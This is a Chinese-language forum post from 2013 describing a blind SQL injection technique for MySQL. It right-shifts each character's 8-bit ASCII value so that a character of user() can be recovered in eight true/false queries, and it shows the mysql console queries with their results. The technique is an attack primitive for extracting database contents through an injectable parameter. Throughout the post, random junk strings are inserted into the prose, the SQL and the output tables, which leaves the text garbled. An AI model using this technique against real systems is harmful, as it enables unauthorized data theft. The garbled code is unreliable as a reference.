找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1925|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位1 L: v# k/ J( C3 I! u; Z

5 a1 C0 H6 \* v9 V- ?
( |# }8 }1 X6 i4 z
; L8 J, p$ J+ W5 v2 S$ B& Q' X8 `& l下面将以查询mysql数据库当中user()的第一位为例:
: F- l; P" b' m1 ?. y' s1 u
% `' `" K4 t1 D: m, j+ Q& V# a. o 4 \6 q/ f9 k  s1 |5 {% f

5 g! D! ]; f4 M4 T7 Z) f- ups:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
  Q( l6 N6 l# C3 Z& d. A% L7 O6 o% I5 x- @
' T1 o. [& d* b9 P, c1 U7 t3 u

" t  p6 n' r" H) w$ o首先执行如下sql语句:
# l0 ?, ^6 c( H- y- U8 H- }- R; o! c
3 _# z& W4 d# \& y( N- q: L" d
  Z5 ~6 {" s  x3 t" J# s0 e
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
3 g2 b3 ]+ b6 O8 O: `% Q3 B3 V& D# T3 T0 m6 U3 H

. o: e: `0 T% K- y: n; u
3 G. n$ c3 \/ F6 v我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
/ T, n% ~! i0 i! j. x- w" `; N& {) O& z3 d& Z
: L0 ]5 O9 G/ u9 h$ ]
6 x! v0 I% b2 K# Q: H) E
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1' [% k; p0 D) R2 z
! |/ ?6 ?! I8 w4 n1 T) n

: U, A5 G+ K) x
& ?' [3 e9 i% }. W如果运算结果为1,说明第一位为0,不为1" J& X# A# S; u% N7 w: L

. r: C6 f# j/ R7 E- L 8 j+ B7 X; ?) Z
* o0 I  D. g# A& k7 _# f5 i1 R
+————————————–+  D7 _) G3 K: ?9 }8 U: F: d
% m3 Z6 E% L6 G; Y& I
| (ascii((substr(user(),1,1))) >> 7)=0 |
/ ]1 G& |8 `3 k% W. l* S* A* A& j2 U) k& t0 n+ [" K' H
+————————————–+
6 I' P  m# P+ x' J  C2 x
! m5 }( s, m8 C' R# T* `/ M| 1 |
1 g+ m, K0 y) o- l2 i' ^
! C1 R( N" s" R+————————————–+9 Y8 j* }$ n! e: V
' \% L' G) [/ X8 |
1 row in set (0.00 sec)  G$ ~0 ?$ V& p) L, X- i' [
; s- E/ ?0 v& C' v
这样我们就确定这个8bit的ascii的第一位为0
# y2 H9 E7 a+ x7 ?8 ^5 U1 P" g0 r3 A, @

9 G5 R5 d1 A+ l- v! s0 h3 e
5 p2 S9 i; p6 b. |: ]  ~! D- O第二次我们来做6次右偏移来确定前两位+ |% O, {: c! J9 G- ]/ R% f
- G* |! P+ {4 p$ v8 A

% O. k' I+ _3 b: w# M, G- b/ {/ V9 X
( w' B6 @' J9 ^5 I前两位可能是01或00,即依然可以与0做比较,
$ s+ b/ F- r! V! I
" o; w: ?: g8 U& O1 e( F0 F+ K& ymysql> select (ascii((substr(user(),1,1))) >> 6)=0;
) l- D; D& n7 |) P! e  l. U$ e5 N: M! f: `9 E
+————————————–+( {. y# Z6 r' r3 ?
/ e$ ?9 t5 X1 E# u
| (ascii((substr(user(),1,1))) >> 6)=0 |, G2 [9 a0 |4 H. w* e
" I' f9 d5 W4 L  s
+————————————–+
7 f3 F1 o9 h5 G6 W# _
2 g& S; O- t- L$ ?% \$ W# ]/ `| 0 |
2 ~5 B+ X  `, K9 v' Q( R- y( k/ g7 M5 x3 Q7 h4 l- k8 F
+————————————–+, a7 B+ \' o  \, `9 [, o

7 S% I: Z, ~! {7 Y1 row in set (0.00 sec)1 G# f/ H. E: B8 a* t1 X9 `, o
8 E, E9 i9 X, \" g) q
* w, O/ u4 z$ p3 Z% Z! [

" C3 |; L& {" j+ d* l( o( r9 X8 F# f结果为0,即第二位为1
8 v7 K! D; F9 v1 S- n0 K
6 X- ]9 ^1 M! g/ y5 X* i * O; h0 t/ h9 ]6 \3 P! k

# _$ c3 R8 U& o8 p开始猜测前三位为010或011
, B# o+ i* u6 y1 Q/ X  u; d. T% v0 W" k3 x8 L& ^  `
: v4 o; r7 q: l0 ^7 W
0 r% Q; h" M* Y
让我们看看010和011的ascii码是多少4 {+ H! S. m8 R& |
3 Q# p/ G2 Z" i& u" t9 N# o9 {& p

0 v3 H) d- U9 R) k( ]7 d" Z( g: d* t
分别查询select b’011′ select b’010′& c( c+ }+ A5 x& q
' g. o6 b* T9 ~8 [$ W! G
# \& |, u, j- ^: N, G- |+ D

% X! @4 O- ~) X& Z5 M8 s  M获得结果 010 = 2 011 = 32 i( V! j7 B9 K: o! L7 p
6 f2 G* d9 S  r; K# d# P& L) q

8 K% o9 \% X/ f9 y
/ z2 _3 _6 |: K9 l" q% F$ o& `# W执行如下sql:% L9 I& o2 `0 J8 v; _
& E* o- x6 @; W. W# x; b+ k( K

- v+ z( B: O/ e4 h
2 l* k6 p) O5 D. v- d( ?' Y8 nmysql> select (ascii((substr(user(),1,1))) >> 5)=2;6 \* G3 K" D0 B% W
& ?3 x* E+ |+ a6 z! G
+————————————–+& u8 f2 N9 q/ x9 b9 C% b4 Q4 k! m" t

6 k! ]% J3 T, V" M5 g+ t| (ascii((substr(user(),1,1))) >> 5)=2 |
( O$ L) L0 v0 h4 N6 r+ c8 G$ j  Y& u0 \( e% L+ ^( d$ s+ G4 w+ Q9 l2 i
+————————————–+! k% k! j* ~$ _  y2 d4 u* {! D1 g+ v

3 y: `0 L& Z7 _: k6 }3 y| 0 |( x5 q) l/ L6 O
' l& c- H* U! k( r' \
+————————————–+
( F6 \- e: y2 E( z+ z  q+ W2 I2 c& I2 Y  J) Z, D& a
即前三位不为010,而是011; A% J1 n) i, n
1 d* C- J; a% A0 z1 [

4 j& Y0 ~" C" k: _
! O" E* G8 [' z$ E: v1 D9 z; O直到获得最后一位
$ _) K  ?; ^* c3 @4 n. N, T3 t
( C  F# l+ X! ` & K% N- ?! g4 t+ H1 G5 o+ `! o
  o9 a; ~2 y  m) p* n; h. D7 V0 F
最终结果为:01110010  D; H) s- O% {& X( f+ c# O7 W

- i/ k6 K$ m. J ( {' q! a  G  X
- k/ s8 C* z5 L/ I
转换一下:
% M* N1 F) {) Y  }$ n/ q
+ A5 A% w, X7 n1 M6 r7 J/ e
. C" Q6 i4 z1 |+ Y& X* i0 |( b) t# W9 i0 J
select b’01110010′
' g7 X% a; r) e3 G1 r3 {9 c+ J7 |# {
' z3 D6 o/ k. A! `) _- b5 _
4 w, G6 V2 y9 }7 A9 C
查询结果4 I0 R% X! o# d% X

6 ^) X- v2 W0 f! G+ a * n6 ?9 n; o# f6 A; [0 q- Y* x+ y- M1 w
$ Z8 U; x  d; t) R/ W1 b
+————-+
- z2 _1 S! P: x3 u; ]+ T6 _$ Y: R% p0 z, ], y8 E9 x! ]9 T
| b’01110010′ |1 b; S& I) g- j/ P4 L  t0 n/ g

9 e2 @9 q  c3 B+————-+# V# A7 m$ V8 p0 C& g; n

1 ~- t& w( k  X| r |
1 T. B! Q6 w6 I6 p9 I- }7 F3 F6 T; y$ X* l" g' X" ~. R8 p- @7 r
+————-+' W0 c) R9 F0 ~& B2 }% o: C/ S7 T

* h' W8 k6 X  ], \# u2 R1 row in set (0.00 sec)
2 n+ B% f# `5 d2 W0 N3 t+ M
" c) V" K) S& v" K1 L : l; a, H, U: m6 k+ T- N" F9 L- g# q
: B$ E6 h- H# o
这样我们就获得了user()的第一位.其它位依此类推
6 I9 \2 @+ h3 M$ n) M+ e2 t
& \$ ~. B' T6 T% L8 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表